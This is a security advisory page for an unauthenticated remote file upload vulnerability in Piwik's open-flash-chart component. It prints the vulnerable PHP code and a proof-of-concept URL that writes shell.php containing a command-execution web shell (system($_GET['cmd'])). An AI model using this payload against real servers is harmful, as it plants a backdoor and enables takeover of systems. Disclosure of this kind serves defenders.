Piwik Build 1357 2009-08-02 remote file upload vulnerability

2009.10.20
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Piwik Build <= 1357 2009-08-02 (ofc_upload_image.php) Remote File Upload Discovery: Braeden Thomas Versions Affected: All Piwik versions utilising open-flash-chart I. DESCRIPTION Piwik is an open source web analytics software. It gives interesting reports on your website visitors, your popular pages, the search engines keywords they used, the language they speak? and so much more. II. EXPLANATION The vulnerability exists in Piwik's implementation of "open-flash-chart", a module which resides in the "./libs/open-flash-chart/php-ofc-library" directory. The vulnerable code forces Piwik to create a directory called "./libs/open-flash-chart/tmp-upload-images" which in turn creates a file which is able to hold PHP code. This code however does not function correctly if global variables are unable to be overwritten. III. VULNERABILITY <? $default_path = '../tmp-upload-images/'; if (!file_exists($default_path)) mkdir($default_path, 0777, true); $destination = $default_path . basename( $_GET[ 'name' ] ); // This should be sanitised before use. echo 'Saving your image to: '. $destination; // and it tells us where it's saving it to, sigh. $jfh = fopen($destination, 'w') or die("can't open file"); // The vulnerable code is right here. fwrite($jfh, $HTTP_RAW_POST_DATA); // and here, <?phpinfo();?>, <?system($_GET['cmd']);?> fclose($jfh); ?> IV. PROOF OF CONCEPT ./libs/open-flash-chart/php-ofc-library/ofc_upload_image.php?name=shell.php&HTTP_RAW_POST_DATA=<?system($_GET['cmd']);?> V. VENDOR The vendor has not been notified. VI. SOFTWARE AFFECTED Piwik and various other software utilising the open-flash-chart library. The latest version of open-flash-chart (version 2) also includes the vulnerable file yet may be omitted from various implementations of the open-flash-chart library.

References:

http://xforce.iss.net/xforce/xfdb/53825
http://www.vupen.com/english/advisories/2009/2966
http://www.securityfocus.com/bid/37314
http://www.osvdb.org/59051
http://www.openwall.com/lists/oss-security/2009/12/14/3
http://www.openwall.com/lists/oss-security/2009/12/14/1
http://secunia.com/advisories/37078
http://piwik.org/blog/2009/10/piwik-response-to-secunia-advisory-sa37078/
http://packetstormsecurity.org/0910-exploits/piwik-upload.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top